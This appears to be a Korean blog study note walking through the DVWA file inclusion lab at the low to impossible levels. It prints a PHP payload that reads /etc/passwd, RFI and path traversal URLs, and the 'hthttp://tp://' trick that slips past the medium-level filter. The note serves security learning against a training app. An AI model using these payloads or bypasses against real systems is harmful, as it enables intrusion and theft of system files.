파일 인쿠르젼 공격

지정한 파일을 PHP include()로 소스코드에 삽입

로컬파일인클루젼(LFI) - 이미 시스템에 존재하는 파일을 인클루드

리모트파일인클루젼(RFI) - 외부에 있는 파일을 원격으로 인클루드

 

사용법은

 

먼저 파일하나를 만들어보자

 

bad.php

<?php
	print "RFI Success, hacked";
    system('cat /etc/passwd');
?>

이렇게 만들어주고

 

문제 홈페이지를 보자

 

http://localhost/dvwa/vulnerabilities/fi/?page=include.php

 

이것인데

 

http://localhost/dvwa/vulnerabilities/fi/?page=http://127.0.0.1/bad.php

 

이렇게 해주면 파일인클루젼 공격이 성공함을 볼 수 있다

 

LFI는 이미 존재하는 내부파일만 사용할 수 있어서 RFI보다는 공격성이 떨어진다

 

http://localhost/dvwa/vulnerabilities/fi/?page=/etc/passwd

 

http://localhost/dvwa/vulnerabilities/fi/?page=../../../../../../etc/passwd (상위 디렉토리 접근)

 

이렇게 상위 디렉토리로 접근해서 하는 방식을

 

패스 트래버설(Path Traversal) 공격이라고 한다

 

medium단계를 보자

 

http:// 나 https://로 시작하는 것들을 공백으로 바꿔버리고

 

../ ..\ 또한 공백으로 바꿔버린다

 

이 때는 http 사이에 http를 다시 붙혀준다

 

http://localhost/dvwa/vulnerabilities/fi/?page=hthttp://tp://127.0.0.1/bad.php

 

http://가 입력값 검증으로 없어졌지만 지워진 나머지가 다시 http://를 구성하기 때문에 가능했다

 

high 단계

 

소스를 보니 file로 시작하지 않거나 include.php가 아니라면 에러를 발생시킨다

 

이것은 LFI만 가능하다

 

page=file/../../../../../../../etc/passwd 해주면 나온다

 

impossible 단계를 보면

 

if문으로 하나하나 include.php file1.php file2.php file3.php 가 아닐 시 에러메세지를 출력하게 한다

 

 

'Hacking > 웹 해킹' 카테고리의 다른 글

공부(8)  (0) 2021.09.17
공부(7)  (0) 2021.09.16
공부(5)  (0) 2021.09.16
공부(4)  (0) 2021.09.15
공부(3)  (0) 2021.09.15

+ Recent posts